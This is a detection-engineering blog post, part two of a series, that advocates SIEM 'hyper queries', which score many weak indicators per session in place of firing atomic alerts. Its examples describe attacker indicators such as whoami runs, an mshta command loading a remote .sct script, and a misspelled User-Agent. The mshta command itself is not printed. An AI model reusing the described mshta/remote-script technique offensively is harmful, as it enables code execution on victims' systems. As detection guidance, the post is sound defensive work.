SIEM Hyper Queries: atomic alerts, correlation and other hard truths (part II/II)
Alright, it’s been more than a year after publishing the first part of this article, so time to remove it from drafts.
In case you haven’t checked the first part entirely, let's start with a quick recap on what a SIEM Hyper Query is about if you want to take it from here.
Hyper Query ⁉️
Hyper is a prefix from Greek meaning “over,” usually implying excess or exaggeration (hyperbole).
In a similar way, a SIEM hyper query (overly) performs multiple checks and iterations over the event stream before providing results back. The idea is to capture as many indicators as possible within one single query.
Alerts x Indicators ⚠️
Here’s how I try to explain this one: if a user executes “whoami” command in a system and that is completely out of context, it doesn’t mean anything (yet) from a threat detection perspective.
We as detection engineers don’t need to be perfect, we need to invest the resources in the best chances to spot attackers. If you alert on every single whoami command, you will end up chasing more ghosts than my team.
While it’s simple to generate such atomic alert, it requires a bit more detection engineering efforts to come up with a more elaborated approach.
Now, what if that command falls into a suspicious session, that is, a window of events where that very command was also executed as part of the attack chain? Then that is an indicator!
But there are exceptions. For instance, a hardened OS image used in a super tight environment (Military, ICS) where admins are suppose to execute only a restricted command set. If whoami is not part of allowed commands, then it's an alert on itself. This not common in enterprises though.
An indicator is something that is worth bringing to the security analyst’s attention — within an alert triage or threat investigation scenario, but not necessarily alertable on its own.
I want to see all the whoamis and other weaker indicators — but in a broader, richer context, not as a single indicator based security alert.
Atomic Alerts are dead? ⚛️
Below is the widely used threat detection approach today. It employs little to no analytics at all. And it applies to many market products, not only SIEMs. If the input stream matches a pattern/behavior, an alert is fired:
a̶t̶o̶m̶i̶c̶ ̶a̶l̶e̶r̶t̶s̶ by leveraging scoring frameworks, another advantage of the approach proposed in this series is to prevent reaching system limitations since a SIEM keeps at least one CPU core busy per query.
That's not a problem for an average implementation, I know.
The issue starts when you have 200+ rules running every other minute and the scheduler starts skipping queries either because 1) the Search Engine has reached the system resources limits or 2) because the previous job is still unfinished, taking longer than the interval between subsequent jobs.
One could argue that the system can be tuned to minimize the risk, that is, adding more cores, increasing the max number of concurrent jobs, better spreading the query schedule, etc.
The reality is: that detection approach is flawed by design, since the start.
A data source with high detection potential such as an EDR or an endpoint telemetry agent (Sysmon, ETW) can easily provide more than 300 distinct indicators. A seasoned detection engineer is unlikely to raise an alert for every single one of them, that’s alert fatigue’s primary cause (atomic alerts).
Correlation, as we know it, is a lie! 🤡
A Hyper Query is basically an attempt to leverage analytics (statistics) to model and score indicators per data source and then generating a stronger signal (alert).
What we often hear from vendors is instead a correlation of multiple alerts across different data sources. Sounds good — in theory.
Nevertheless, those OOB alerts are actually indicators, mostly weak ones. So in the end, there's no stronger signal by correlating them, especially if you consider how disparate events from distinct data sources can be.
"If I see X, and then Y, and then Z" is already challenging to implement by leveraging a single data source (ex.: O365 or Windows Eventlogs to detect a successful brute-force attack), let alone correlating across multiple sources!
The implementation cost goes so high you'd be better off picking another idea from your detection backlog.
A solid detection strategy starts with use case design (threat modeling) aiming at data sources with highest detection potential (the juicy telemetry) for later laying down indicators and working on stats models.
Once you have strong enough signals, then you should consider aggregating alerts on target (host/user) in short time windows.
So how to raise higher fidelity alerts while keeping track of all relevant, yet weak indicators?
One query in, multiple indicators out! 🎛️
A single log might be related to multiple indicators, so why scanning it multiple times? Let me provide two clear examples here.
Below is a sketchy command line (reference):
There are at least 3 interesting indicators to collect from it:
- The script string used within the mshta command;
- The presence of an URL (external for increased score);
- The unexpected file extension (.sct).
So instead of creating 3 "detection rules", why not creating one query and accumulate the findings? Same goes for the following (web proxy) one:
User-Agent: Mozila/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Trident/5.0)
Without getting into anomaly based indicators, here's a few bets:
- HTTP GET request towards a public IP address (you might also check for hits in a CTI lookup/DB);
- Malformed HTTP User Agent string (missing an 'l' in Mozilla)
- One character long PHP file resources observed.
And the list goes on and on. How can one scale instantiating one rule (query) per indicator? Hope you get the idea!
In Summary 📕
Below is a reviewed and suggested alert workflow to start from:
Basically, each Hyper Query (HQ) collects indicators, just like features in an ML model, and its output is processed by a scoring system.
A SIEM HQ leverages some or all of the following:
- Multiple indicators are checked within a single query, those come from pattern, behavioral or anomaly based detection components;
- Besides evaluating individual events, a HQ also evaluates and rates event sessions broken by an entity (ex.: target asset or account);
- Each indicator carries a score (weight) which is later used to rate how suspicious or risky a scenario (window of time) is;
- Specific to SPL, stats/streamstats and mainly eventstats commands are used to calculate multiple metrics by using distinct split-by clauses.
- Scored sessions or scenarios are dumped into a summary which is then ingested by an actual rules for generating alerts or not.
Happy to get feedback and discuss similar Detection Engineering ideas you and your teams are working on leveraging any Data platform/SIEM! 🤟